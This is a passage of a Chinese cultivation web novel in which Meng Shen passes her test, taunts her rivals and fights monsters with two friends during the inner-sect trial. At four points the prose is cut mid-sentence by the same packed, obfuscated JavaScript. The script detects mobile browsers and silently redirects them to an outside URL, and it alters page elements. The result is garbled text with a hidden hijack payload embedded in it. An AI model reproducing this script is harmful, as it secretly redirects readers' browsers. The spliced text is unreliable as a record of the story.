薛长老梗住了,他总不能说,你没测修为这现场都快控制不住了,等你当众测出个炼气六七级的灵力,他们不更觉得你好欺负?这等于是火上浇油啊! 明明很寻常的表情,但薛长老无端觉得她拽极了,这个家伙,原来不止在他的课上那么嚣张,当着全外门的面也是啊。 看薛和泰莫名其妙不动,邵鸿轩皱着眉,直接领着孟莘到天石前,“测吧。” 他其实理智上根本不觉得她能筑基,但是,在看到今天这一幕以后,他很希望她已经筑基。 孟莘把手贴上去之前,忽然问:“邵长老,你怎么想,你也觉得我筑不了基?” 邵鸿轩当然是这么想的,甚至打算告诉她,别担心,待会他亲自送她回去,这群弟子们在他手底下翻不出浪。 但当他看到少女认真的眼神......这家伙在他的课上向来有种死猪不怕开水烫的耍贫,他还是第一次见她这么认真。 话到了嘴边,忽就变成了,“不,我相信你。” 孟莘惊讶了一下,这还是那个看她最不顺眼的邵鸿轩吗? 远处的人听不见他们说了什么,只觉得她站在天石前面不动了,纷纷吹起口哨。 “害怕了?不敢测了?” “害怕就赶紧下去,在这儿丢什么人!” 孟莘呼了口气,收回目光,“......如你们所愿。” 她的手按了上去,紫黑色天石略微沉寂片刻,随后光芒大振,四颗明亮的星星环绕其上。 喧嚣突兀地寂静了,仿佛被一把剑拦腰砍断,他们死死盯着天石,如果目光却有实质,恐怕天石都能被其凿穿。 邵鸿轩收住自己惊讶的情绪,高声宣布:“孟莘,识海四星!筑基一级!” 她明明只是个四星筑基一级,带给众弟子的震撼却远比六星筑基七级的彭笑寒许子墨更强烈。 他们能接受世界上有比他们更强更厉害的人存在,唯独不能接受被他们踩在脚底下的人翻身踩下他们。 “......假的吧,她怎么可能筑基?” “她怎么会是四星?她明明是个三星,不,二星才对吧?” 孟莘对着邵鸿轩眨了下眼,“邵长老,你真有眼光,可惜没有开盘,不然你会赚得盆满钵满。” “你......”邵鸿轩被她这副熟悉的口吻气笑,唏嘘感慨烟消云散,没眼看地摆摆手,“虽然是个一级,不过你最好给我考进去,我可不想上课时再看见你了!” 不过邵鸿轩不问,却不代表别人不问。 薛长老一边递给她考核腰牌,一边梦游似的盯着她,“究竟是天石测错了,还是我做梦了,三星还能变成四星的?不对不对,三星确实不可能一个月筑基,就得是四星才有可能,但是......” “可能我是什么成长型识海吧。”孟莘含糊解释了一句,主动把腰牌从他手里抽了出来,丢下怀疑人生的薛长老在风中凌乱。 她没有下台,而是当着所有人的面,煞有其事地把考核腰牌系在自己腰间,还轻轻拍了拍并不存在的尘土,这才抬起头,扫过众人神色各异的精彩表情,甜甜一笑。 众弟子:“......” 完了,话说得太满,给她装到了,看来这下她得好好嘲讽回来了。 众人已经咬着牙做好了对骂的准备。 但没想到孟莘开口后,却还是远远超出他们的预料。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13959007|147795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只见少女站在台上,长发裙裾随风翻飞,微挑的眉间,红痣肆意张扬,睥睨着所有人,“不是觉得我进不了内门吗,要不要赌一赌?看最后能进的,究竟是你们,还是我?” “要是最后连我这种废物都比不过,你们算什么?狗屎吗?” 薛长老惊悚地扭过脖子看着她,不知道这孩子究竟是什么材料做成的,漂亮乖巧的脸一开口就是这种重量级发言。 丹墀就像扔进了一包炸药,比之前沸腾了一百倍。 “筑基一级你嚣张什么!” “等到魔兽森林,我要你死!” “看我们怎么收拾你!” 望着这无法收拾的场面,薛长老不得不苦笑着提醒孟莘:“今年参加内门考核的有一百人,你哪来的勇气挑衅全部弟子。” 孟莘摊开手一笑,“不知道,我就想试试,一比九十九,没有胜算的事情赌起来才有意思,不是吗?” “不!是二比九十八!” “是三比九十七才对!” 熟悉的声音从身后传来,孟莘猛地回头。 少年少女穿越人海,朝她飞奔而来。 “我也来!”彭笑寒斩钉截铁,向她伸出一只手。 “这么酷的事情怎么能少得了我!”许子墨不甘示弱,也向她伸出手。 “你们......”孟莘看着青石台下的两人,觉得脑子有点发晕,但这时候,她也绝不想道谢或推拒。 深吸一口气,她握住那两只手,将他们拉上青石台。 三具尚且稚嫩的身躯,共同站在了灼人的视线中央。 而她这时终于想到该说点什么了。 孟莘脸上露出灿烂笑意:“我们来把这群家伙的信心砸个稀巴烂吧!” * 后山魔兽森林入口处。 虽然今日出了意外,但入门考核才是真正的重中之重,薛长老清了清嗓子,对面前的一百名有资格参加考核的弟子宣布规则。 “本次内门考核,你们需要在魔兽森林呆五天,五天内杀够十只魔兽,并把他们体内的魔晶带出来,即通过考核。” “本次考场已被灵力隔开,里面只有筑基期魔兽,因此只要你们平时好好修炼,将修炼所得发挥出来,通过考核并不是没有可能。” “如果遇到实在无法对付的生死绝境,也可以使用考核腰牌里的传送阵法离开,离开后无法再进入魔兽森林。” “考核时允许组队,毕竟每个弟子的长处不一样,也不是每个弟子都得像剑修一样能打,但必须要在合作中展现出自己的实力,长老们会据此判断是否算通过。” “最后,”薛长老严肃地看着所有人,“考场里遍布千里镜,和丹墀上的千里镜相连通,里面发生了什么,都会通过千里镜公布出来,不可对同门下杀手,违者失去考核资格。” 这里的很多弟子都已经参加过不止一次内门考核,最后这条却是第一次听薛长老说,显然是为了孟莘特意说的。 “是!”他们大声回答,然而不善的目光却扫过了孟莘。 当然不能下杀手,对同门下杀手,戒律堂会让他们偿命。 但是么,要对付一个人,方法多了去了,何况,那可是充满无数意外的魔兽森林…… 24. 第 24 章 孟莘三人,显然已经被剩下九十七人盯上,在薛长老宣布规则的空隙,那些人有意无意地在向他们靠拢。 三人被人群挡住,落在了整个队伍的后方,距离魔兽森林最远。 许子墨后退一步,离孟莘更近,悄声问:“待会怎么办?我要是他们,恐怕上来就会抢我们的考核腰牌,这样在森林里即便出事,也来不及逃生。” “而且他们恐怕会跟上我们,很难甩掉。”彭笑寒也下意识和孟莘贴近了肩膀。 “嗯,我知道。”孟莘虽然当着所有人放出了那种豪言,却不代表她打算以卵击石,等着被九十七人群殴。 她不动声色地给两人塞了个东西,“待会用这个,我说跑,就跟上。” 彭笑寒许子墨悄悄看了眼是什么东西,然后双双给她竖起大拇指,“出手真阔气。” 孟莘轻笑了声,没再多解释,而是紧紧盯住了前方的薛长老。 盯着薛长老的不止是她,往届外门弟子中,最有希望通过考核的郑睿识,也低声叮嘱师弟吴宜人。 “待会考核一开始,你和江芷兰师妹就立刻带人跟住他们,逼他们去忘忧潭的方向,那里没有千里镜,方便动手。然后左右包抄,把人拦住。” “最好是逼退那两个六星,把孟莘单独拦下。如果那两人实在不知好歹,就连他们一起打。筑基七级又怎么样,能打得过我们这么多人?” “知道,”吴宜人严肃地点点头,低下头跟自己身边的人轻声传话,再由那人将计划通知所有人。 这九十七人当然并非铁板一块,愿意服从某一位的指示,但郑睿识在外门资历老、为人大方、实力强劲,他如今筑基四级,要不是去年因伤未能参加,他本该去年就入内门了。 因此愿意由他主导的人,却是最多的,算得上最不可小觑的一股力量。 而剩下的人,虽然并没什么组织,但也都零零散散地盯着孟莘三人,只等考核开始的那个时机。 薛长老说完了所有规则和例行讲话,终于是沉声宣布:“本次内门考核,现在开始!” 他的最后一个字还未落地,孟莘已然低喝:“跑!” 下一刻,三道只余残影的身影飞射了出去,在其他人包圆之前,已经先一步抢入魔兽森林。 郑睿识瞳孔巨震,“神行符!” 神行符对金丹及以上修为派不上用场,但对区区筑基期的众弟子们而言,却是拍马不及了。 反应过来的郑睿识立刻喊:“谁有神行符,快追,不能跟丢!” 对很多人来说,一百灵石一张的神行符并不便宜,还是个一次性报废的东西,有这个钱还不如买点辅助修行的丹药。 因此只有数十人追了上去,其他人只能尽量去跟。 那数十人拍了两三张神行符以后,却依然没能追上孟莘三人,不得不停下来面面相觑:“他们究竟是用了多少张神行符啊!” * 丹墀上,千里镜已经把魔兽森林发生的一切都映了出来,因此长老们倒是可以回答这个问题。 孟莘三人到现在为止已经用了十八张神行符。 加起来得有一千八百灵石。 那些未能进入考核,却同样被激怒的外门弟子们,都守在丹墀上等着看孟莘的笑话,一见这场面立刻集体对长老们施压。 “她这算违规了吧!花的灵石也太多了!” “用神行符,那还比什么比?她要是拿出几十张上百张神行符,筑基期的魔兽哪个她杀不了?” 长老们互相看着对方,也都露出犹疑的神色。这些弟子们虽然是为的私仇,但是理由却也合理。 邵鸿轩心里着急起来。 孟莘啊孟莘,你挑衅这么多人,难道就是为了在魔兽森林逞一逞威风?要是为此进不了内门,可真就是得不偿失了。 而弟子们此时发现了更多问题,“彭笑寒和许子墨本来就是一定能升内门的,但跟着她用了神行符,岂不是被连累得没有资格了?” 他们目光灼灼地盯着千里镜,等着这三人反应过来以后翻脸。 只见孟莘闭上眼睛不知道在干嘛,随后伸手示意两人停了下来,“可以了,甩掉人了,剩下的神行符你们拿着,说不定之后有用。” 许子墨恋恋不舍地把剩下的两张神行符装进须弥戒,“唉,用神行符的感觉真爽啊,好像自己也是高人了。” 彭笑寒虽然心里觉得借助外物无助修行,但也同样有点回味的样子:“不知道什么时候我也能有这个速度。” “是吧,”孟莘很赞同地唏嘘道,“谁能抗拒神行符的魅力。” 许子墨还在问:“你还有多少张神行符?” 孟莘点了一下,“加上你们那的,还有七张。” 许子墨叹了口气:“有点少了。” 等着看他们闹翻的众弟子:“?” 这三人就没有一个人反应过来,他们在违规的边缘反复试探吗? 邵鸿轩扶额,简直快没眼看了。少什么少?加起来两千五百灵石,绝对不能再用了啊!他都想飞奔过去警告一下这三个人了! “下一步怎么办?”彭笑寒问。 孟莘思考了一会,回答:“既然我们打算干扰他们,让他们无法达成考核任务,那之后有得忙了,先把我们自己的十头魔兽杀掉吧。” “哈,到时候我们稳稳进内门,看他们在那里悔不当初,感觉一定很愉快。”许子墨半眯着眼睛畅想。 孟莘又说:“这方圆两里内都没有魔兽的气息,可能得往更远处找了。” 弟子们不屑地嘘了一声:“你又能感觉到魔兽的气息了?” 而千里镜上的彭笑寒却毫无异议:“那我去左边探查,回来告诉你们。” 许子墨:“我去右边搜,一个时辰后回来怎么样?” 彭笑寒点头:“可以。” 孟莘则盘腿坐在了树下,开始从芥子囊里掏东西,“那就辛苦你们了,我多画几张神行符给咱们备用。” 众弟子:“???” 众长老:“???” 你看看你在说什么鬼话?神行符?还多画几张?你当符修这么好当的吗? 神行符这种金丹以下的保命符咒,哪怕是符修,都得通会期才掌握得了,她刚入门一个月就想画,当神行符是地上的垃圾随便捡吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13973270|147795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然而当孟莘在纸上下了笔,众长老却是面色凝重起来。 她运笔并不轻松,显然神行符需要的灵力让她应付得有些勉强,但是她的每一笔,都完美无误地勾勒出了神行符的气韵。 一炷香的时间,她收笔,符成。 哪怕是弟子们,到这时也惊骇地认出来,那就是神行符。 薛长老恰逢此时赶回丹墀,目睹了她画神行符的全程,惊讶过后,不由得摇摇头,这家伙,在他课上果真是在敷衍啊。 孟莘休息了片刻,随后再次提笔,画完了三张神行符,这才遗憾地把东西收回芥子囊:“还是太差劲了,一次只能画三张。” 丹墀上的众弟子莫名躺刀。 如果这都算差劲,那他们算什么? 邵鸿轩此时呵呵一笑,“既然神行符是她自己画的,那当然也算不得违规了。” “自然自然,”长老们连连点头,“这样的符法天分,无论如何也当得一个内门弟子的头衔,只怕往后去第九峰,成就不会低。” 此时的诸位长老,尚且不知道孟莘根本没打算去做符修。 孟莘在原地运转无相吟,修行了半个时辰,将灵力恢复大半,终于等到了彭许二人回来。 孟莘主动说:“我画了三张神行符,如果晚上消耗不大的话还可以再画。” 彭笑寒眉毛一挑,她和许子墨其实也都是今天才知道,孟莘连神行符都能画了,而且这个速度远比她预料得要快。 她顿时觉得有把握了很多,“有十张的话,被人包围也能逃了。” 她又掏出一块紫色魔晶,丢给许子墨保管,这家伙的一应器物都是好东西,须弥戒非常能装,“我那边找到了五头,杀了一头,不算很难缠,可以打。” “好吧,我那边只找到了三头,”许子墨一脸输了的不甘表情,把魔晶塞进去,“也杀了一头,也挺好打的。” 这就没什么好犹豫的了,孟莘拍板,“那就去左边,也许能摸到什么魔兽的巢穴,把剩下二十八头都解决了呢。” 三人在彭笑寒的带领下奔过去,远远地藏身在草丛里,盯着前方的四头魔兽。 许子墨问:“原来是霜晶狮,个头真够大的,一起上还是分开打?” 这还是孟莘第一次看到这种修真界特色生物。 身子足有两丈来高,虽然能看得出是个狮子的外形,但是表皮却并非毛发,而是一层层霜似的晶状外壳。感觉会很坚硬,不太好打。 孟莘转头望向已经猎杀一头的彭笑寒:“霜晶狮的弱点在哪?” “前胸,”彭笑寒比划了一下位置,“那儿的霜晶是假的,武器可以刺破,里面就是心脏。” 孟莘沉吟片刻,“那就分开打吧,我也想试试魔兽打起来是什么感觉?” 丹墀上的众人:“???” 之前她展露出了越级的符法水平,可以说众长老已经认同了她进内门的资格。 接下来她只要继续给彭笑寒和许子墨提供符咒,等着两位六星杀够三十头带飞她就完事了,怎么转眼就要上场亲自打魔兽了? 你个安心画符的非战斗人员,为什么非要上去打打杀杀不可? 25. 第 25 章 这些魔兽灵智低下,并不懂得隐藏气息,孟莘很快就摸清了它们的实力,都在筑基五级上下波动。 她第一次对战魔兽,没敢托大,选了气息最弱的那个,“左边那个给我,剩下的你们两分。” “那我打中间两头,”彭笑寒包了最危险的位置。 “好,右边那头给我。”许子墨知道霜晶狮个头太大,并不好打,也没争一时意气。 孟莘抽出双手峨眉刺,三人看着对方,点点头,同时飞奔向自己的目标。 迟钝的霜晶狮直到她奔至二十步以内才察觉,吼叫着举前爪踩她。 孟莘险之又险地一拧身躲过,趁机朝它胸口攻去,一连十刀都没能刺对地方,只有铁器撞在晶石上的铿锵声。 第十一刀,她右手的峨眉刺陷进了一片软毛里,找到命门了! 然而峨眉刺的长度并没能刺穿霜晶狮的毛发,反而让命门被袭的霜晶狮“嗷——”一声巨吼,血性完全激发,前爪抬起,在树林中狂奔起来,试图借助剧烈颠簸把孟莘甩下去。 她被从前胸甩开,下意识想抓住狮腹的毛发,却只摸到了一片滑溜的晶石,坠地的身子连滚数十下才稳住那股冲力。 “这身晶石可真不好对付啊,”她抹了一把脸上沾的杂草,把右手的峨眉刺塞回了芥子囊,换成了剑术课最初发的长剑。 这把最初她挥起来非常艰难的剑,在经历了那么多挥剑挥到累瘫的日子以后,这时已能被她轻松举起。 霜晶狮已经折身冲她狂奔而来,血盆大口怒张,势要把她吞吃入腹。 “来吧!”孟莘一头扎进密林里,借助密集的树木干扰霜晶狮的动作。 霜晶狮体型庞大,行动处处受制,很快就被孟莘激得怒不可遏,倏忽一只峨眉刺从林叶间飞来,噗嗤一声扎进了它的左眼。 “嗷——”霜晶狮痛苦嘶吼,飞扬前爪向峨眉刺飞来的方向扑去,失衡的视角却忽略了一道身形在地面狂奔。 孟莘一跃而起,举剑直刺霜晶狮命门。 锋利的铁剑穿透它的血肉,牢牢地扎进了它的心脏。 霜晶狮发出濒死的剧烈挣扎,但孟莘抓住它胸口的软毛稳住身体。 不多时,霜晶狮失去最后的力气,颓然倒在了地上。 孟莘这才松了口气,把脸上的汗抹掉,用剑把霜晶狮的魔晶剥了出来,魔晶上散发着浓郁的灵力,应该是炼药的好材料。 不过比起魔晶,她对霜晶狮这身坚硬的晶石外壳更感兴趣,感觉以后炼器时应该可以用,可惜废了老大的劲才撬开一块,怕再撬下去剑就该卷边了,只好遗憾收手。 那头彭笑寒凭借娴熟的战斗技巧和强悍的攻击力,轻松搞定。许子墨虽然近战技巧一般,但他胜在身法够快,把霜晶狮绕晕后也轻松取胜。 许子墨把魔晶和那块霜晶狮晶皮都塞进须弥戒,“六个魔晶了,还差二十四个,我们进魔兽森林才两个时辰,这个效率够快的,加把劲说不定今天就能完成,接下来去哪?” 孟莘指向西南方向,“那边有好几头魔兽的气息。” 三人过去,果然又见到两头霜晶狮。 彭笑寒主动放弃:“给你们练手吧。” 孟莘和许子墨也不推辞,有了上次的经验,这次打得更顺手了。 一个下午,在孟莘的指引下,他们边休息边找魔兽,很快就收了二十二块魔晶。 彭笑寒都不由得对沧溟派产生了深深的质疑:“原来内门考核这么简单的吗?” 丹墀上观战的众人:“……” 怎么好好的内门考核被他们搞得像切菜砍瓜一样呢? 薛长老捋着胡子一言难尽地看着邵长老,“原来你说的孟莘剑术很差,是这么个差法。” 邵鸿轩沉默了,她之前决不是这个水平啊! 不过仔细一想,他上次关注她的剑法,还是在半个月前的月半小考,她对战杜雨兰,那时她绝没有现在的水平。 而剩下半个月,她在课上基本都是和彭笑寒作战,被压制得看不太出进益。 “也许是勤能补拙吧,”邵鸿轩感慨了一声,半个月提升到这个地步,她付出的努力绝不简单,不愧是主动给自己加练、第一天上课就比别人多挥剑五百下的好弟子。 他自动把第一堂课的针锋相对,修正成了师慈徒孝的其乐融融。 “入夜了。”薛长老看着天色,“天黑以后,魔兽森林会变得危险重重,这些小弟子们该找地方隐蔽休息了,我们也回去吧。” 虽然长老们早已辟谷,并不需要吃东西,对睡眠的需求也不高,但是看一群小弟子们睡觉的样子也太无聊了,他们会留一位长老值守,其余人等明早卯时再过来。 “嗯,马上,我再看一眼就走。”邵鸿轩指着千里镜。 那面千里镜上,孟莘正说:“前面一里内就有一只落单的魔兽,我们顺手把它解决了吧,免得我们吃东西时被它袭击。” 既然只是一只魔兽,薛长老也就顺便留了下来。 “这届弟子确实不简单,不说这三人,杜玉兰姐弟也已经每人三块了。”薛长老问:“其他人的进度怎么样了?” 虽然因为今早那出大戏,孟莘三人无疑成为了长老们关注的焦点,但每位长老还是主要负责自己带的那些弟子。 “大多数人都拿到了一块,目前郑睿识比较多,已经拿到了四块。” 不比较还好,一比较,邵鸿轩不由咂舌:“彭笑寒许子墨孟莘这三个家伙,每人都有七块了,快得有些惊人啊。” 薛长老细想了一下,“其实最关键的是,其他人在找魔兽上花了太多功夫了。要么废了老大劲才找到一个,要么找到一群根本对付不了,还有人和其他弟子撞上,两边为了争魔兽发生冲突。” “而他们三呢,你发现没有?”薛长老手指往前一点,“一下午从没碰到过其他弟子,魔兽的数量也正好合适,他们三人都应付得来。” 邵鸿轩顺着薛长老指的方向,讶然看向在前面带路的孟莘。 这一下午,可都是这家伙在指引方向啊。 “这......”邵鸿轩惊疑不定地转头看薛长老,“你是说?” 薛长老点点头,“这绝非偶然可以解释,她的精神力水平远超常人,筑基期的弟子和魔兽,方圆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13984738|147795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一里以内,根本逃不掉她的感知。” 这究竟是什么水平的精神力?恐怕通会期修士都没这么敏锐吧? 邵鸿轩看着孟莘的表情更加复杂,却也稍稍松了口气,既然有这等感知,想必她不会轻易让自己陷入险境了......吧?!! 怎么回事!邵鸿轩刚刚松弛的心情立刻绷了起来,“谁把这玩意放进内门考核的?” 旁边的齐长老心虚道:“这不是我们选进去的魔兽都太没有灵智了嘛,内门总有人说我们把标准放得太低,所以今年加了两头锯齿鹰,一共就两头,谁想他们就碰上了呢?” “锯齿鹰,光论修为虽然也就筑基期,但对现在的他们来说,危险程度恐怕不亚于通会期的霜晶狮,希望他们不要折戟在这儿吧。” 薛长老长叹一声,要是两个六星进内门的路在这儿被挡住,那可真是,不好交代了。 * 却说趴伏在草丛里的孟莘三人,还尚未察觉到危险的到来。 因为在他们看来,那只是一头落单的奇形怪状的魔兽。 在月光下,栖息在湖边的魔兽有一个形似豺狼的头部,身体部分足有四丈长宽、一丈来高,身上的毛发长长地垂到湖水里。它闭着眼睛,似乎陷入了沉沉的睡眠。 “修为应该在筑基七级,我们这边吊打它,不过,这到底是个什么鬼东西?”孟莘见鬼似的问。 她这一下午见的魔兽,虽然外表略有变化,但总体还是能看得出物种的,可这玩意,她想破头也想不明白是什么。 连见多识广的彭笑寒许子墨都沉默了,这是沧溟派兽修培育出的新物种,刚入门一个月的他们委实没听说过。 “可能是......一头毛比较长的狼?”彭笑寒试探地猜了一下。 “......感觉不像呢。”孟莘实在没法把它的后半身和狼联系在一起。 “管它呢?上就完事了,也就是个筑基七级,还在睡觉,我们兵分三路,直接给它个痛快!”许子墨捏了捏手腕。 “好。”其他两人也并无异议。 三人同时从草丛奔出,孟莘许子墨左右夹攻,彭笑寒从前方直接攻击锯齿鹰的头部。 凝聚着灵力的武器寒芒闪过,一息之后,就将给锯齿鹰致命一击! 就在这时,魔兽的眼睛倏然睁开,幽蓝的瞳孔里闪过野兽的凶猛。 “呜——”一声长啸,锯齿鹰身体抖动,巨大的风力以它为中心突然炸开! “糟了!”孟莘飞跃的步伐被风阻住的那一刻,她就顿觉不对,想要紧急后撤,但来不及了! “呜——”再一声啸响,孟莘直接被飓风掀翻了出去,后背狠砸到树干,一口血腥气差点从喉咙里涌上。 她震惊地仰头望去。 只见那只魔兽已经拔地而起,垂下的长毛早已化为钢针般锋利的羽翼,彻底展开的身躯仿佛盖住了天幕一样巨大。 那竟是一只飞行魔兽! 对此时尚且不能御剑的他们来说,这几乎是无法抵抗的敌人。 锯齿鹰盘旋在天上,幽蓝瞳孔盯着他们,就好像在盯着势在必得的猎物。 26. 第 26 章 “快跑!”孟莘顿觉不对,瞳孔骤然紧缩,对剩下两人大喊道。 话音刚落,锯齿鹰突然毫无征兆地俯冲下来,狼也似的大口张开,利齿在月光下反射出森然寒光。 “快进树林!”孟莘足尖点上树干,朝树林飞奔而去。 它这样庞大的身躯,在林中必然行动受限。 三人头皮发麻,纷纷使出了最快的速度。 许子墨叫苦不迭:“喂孟莘,你这下给咱们找了个好对手啊。” 孟莘自己也哭笑不得,“都是筑基期的实力,还就一只,谁知道会是这种家伙啊。” 三人抢入树林,锯齿鹰被迫刹住,重新昂头飞上了天空。 终于赢得短暂喘息,彭笑寒评估了一下他们的实力差距,严肃道:“现在怎么办?我们恐怕打不赢它。” 孟莘并不是恋战的人,毫不犹豫地决定:“走!趁它进不了树林,我们从另一个方向离开。” 许子墨就更不可能有异议了。 三人立刻隐蔽身形,试图借助茂密的树林潜出去。 丹墀上,薛长老捋着胡子叹息:“要是以为这就能逃掉,那你们可就小看锯齿鹰的危险了啊。” 锯齿鹰并未放弃,还在他们上空盘旋。 走出大约五十步,孟莘都要以为他们能逃掉了,耳朵却敏锐地察觉到远处来的破风声。 “小心上方袭击!” 她只来得及提醒这么一句,电光火石间,无数锋利的尖刺从空中飞射而来。 是魔兽身上那些钢针般的羽毛! 孟莘最先感受到危险,身体一滚躲在树后。 许子墨整个人的速度被激发到最大,险之又险用一棵巨树挡住。 彭笑寒则正好在离树木最远的地方,躲闪不及,她立刻手提重剑,剑面一转,替自己挡住针羽攻击。 那些钢针般的羽毛噗噗刺进树干,却全在她那把重剑上碰了钉子,纷纷弹射了出去。 她又身材娇小,蜷在重剑后面,正好躲过那些攻击。 邵鸿轩眯眼看着彭笑寒那把剑,“连锯齿鹰都能挡住,这种材质,有点不寻常啊。” 而孟莘则是灵光一闪,朝许子墨大喊:“把那块霜晶狮的晶皮扔给我!” “我去,好主意啊!”许子墨立刻照办。 他们两中间隔了三棵树,晶皮掷来时不可避免地被针羽打到,但落到孟莘手上时,它却完好无损。以防万一,她伸出晶皮又试了试,终于确定。 霜晶狮的晶皮也可以抵御魔兽的攻击! 可惜它只有一块,堪堪够人挡住胸口。 “怎么样?”许子墨期待地望过来,“我们交替用它能不能跑掉?” 孟莘摇了摇头,“太小了,挡不住人身,恐怕不行。” 说着,锯齿鹰一击不中,滑翔着再次发动了袭击。 针羽换了方向袭来,三人又是手忙脚乱地逃窜。 “它大爷的!还没有秃嘛它!这家伙到底要进攻到什么时候!”许子墨实在忍不住骂道。 在今天以前,他都不知道原来自己逃跑的速度有这么快。 “这样不行,体力消耗太快了,”彭笑寒手里的重剑给她造成了极大负担,她一拧眉,“我倒要试试,它究竟能不能被伤到。” 锯齿鹰的攻击刚刚停滞,彭笑寒立刻扔下重剑,借树干提身飞跃数丈高,筑基七级的灵力凝聚在右臂,将铁剑飞甩上天,直冲锯齿鹰而去! 那柄剑无疑能要这里任何魔兽的命,可锯齿鹰只是抖开羽翼,扬身高飞,便让那柄剑刺了个空。 “呜——”锯齿鹰甩掉飞剑,怒吟着羽翼一挥钢针再次射下。 彭笑寒慌忙闪身去躲,对其他两人挫败地苦笑了一下,“这下我真的没有办法了。” 孟莘咬了咬唇,彭笑寒的攻击力是他们中最强悍的,如果彭笑寒都打不到,那她和许子墨更没有办法。 与这只锯齿鹰相比,其他的魔兽简直像是刚学会走路的小童! 而更糟糕的是,他们原本是要往树林深处逃的,可为了躲避针羽,孟莘发现他们正在被一步步逼出树林。 届时他们体力耗尽,毫无疑问会成为锯齿鹰的盘中餐! * 随着锯齿鹰搞出的动静变大,越来越多人注意到了那边。 南方的山丘,杜雨兰和杜景辉虽然不知道那个魔兽是什么,但只是远远地在山上看了一眼,就生出寒意,“我们还是离这儿远点吧,免得被那个魔兽盯上。” 西边的树干,吴宜人也正盯着战局,“嚯,那是锯齿鹰吧。今年连锯齿鹰都放进来了,恐怕不好通过了啊。” 郑睿识倒是幸灾乐祸地笑了下,“锯齿鹰这种怪物,最多放进来了一两只,不知道哪个倒霉蛋碰上了,自求多福吧。” 内门考核里,除了抓孟莘以外,其他时候大家可是竞争关系,他乐得看人出局。 丹墀上,众弟子们这下饭也不想去吃了,乐呵呵就等着看孟莘被淘汰。 不是嚣张地要把其他人的内门梦踩碎吗?结果第一个出局的就是她了呀,还白连累两六星! 汪长老惋惜地摇了摇头:“看来他们必须得用腰牌传送了,锯齿鹰实在超出了筑基期弟子的实力,待考核结束我们禀报掌门,看这两个六星该如何安排吧。” 邵鸿轩心里一紧。彭笑寒和许子墨自然不愁出路,可孟莘一个四星,很难让掌门为她破例。她一个人在现在的外门再呆一年,恐怕不会好过啊。 孟莘,你能奇迹般地从一个三星变成四星,拥有了内门考核资格,难道就要到此为止了吗? * 魔兽森林里,孟莘也在想,难道到此为止了吗? 她竟然要败在这么一个鬼东西身上? 不! 她咬住牙,她决不允许到此为止! 逃窜时沸腾的血肉、找不到出路时慌乱的大脑,在这时都纷纷冷却下来。 从遇到锯齿鹰以后的所有画面跃入她的脑中。 她作为帝国首席机甲师,虽然不曾亲身战斗,但是,为了研制出最合适的性能,那些帝国士兵作战的录像却没有少看。 无论是一对一、一对多、多对多,无论是在陆地、海上、室内、丛林,她都曾经细细观摩、认真思考。 所有那些知识都汇聚成了她灵魂的血肉,支撑着她在这个世界里,胜过比她更多、更强的敌人。 不过是一只灵智有限的魔兽,仗着一双羽翼横行霸道,难道比秋霜林那晚更可怕吗? 在下一个进攻停止的间隙,她借势翻滚到彭许二人身边,迅速道:“我有一个想法,需要你们配合。” 听她说完,彭笑寒陷入了沉默,许子墨直接倒吸一口凉气。 孟莘苦笑:“果然是太冒险了吧?” “是太冒险了,”彭笑寒点点头,“但是,除此以外也没有别的办法,试试吧。” 两人的目光都挪到了许子墨脸上,在下面这个计划里,他恐怕是最危险的那个人。 “看我干嘛?”许子墨哀哀叹口气,“还能怎么办呢,我也只能舍命陪君子了。” 那正好是一个千里镜看不太清的位置,丹墀上的众人自然也听不到他们在说什么。 只见三人面色凝重地点点头,随后分散到三个位置,终于重新出现在了他们的视 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13997174|147795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 野里。 孟莘掏出了绳子和晶皮,彭笑寒拿起了她的重剑,许子墨则收起了所有武器。 “他们这是要做什么?”薛长老有点看不懂了,但怎么看都不像是要躲的样子,“锯齿鹰的一下次攻击就要来了啊。” 下一刻,千里镜上,许子墨暴射而出,却不是逃往树林深处,而是直奔林外。 “我是不是看错了?”邵鸿轩感觉自己见了鬼似的。 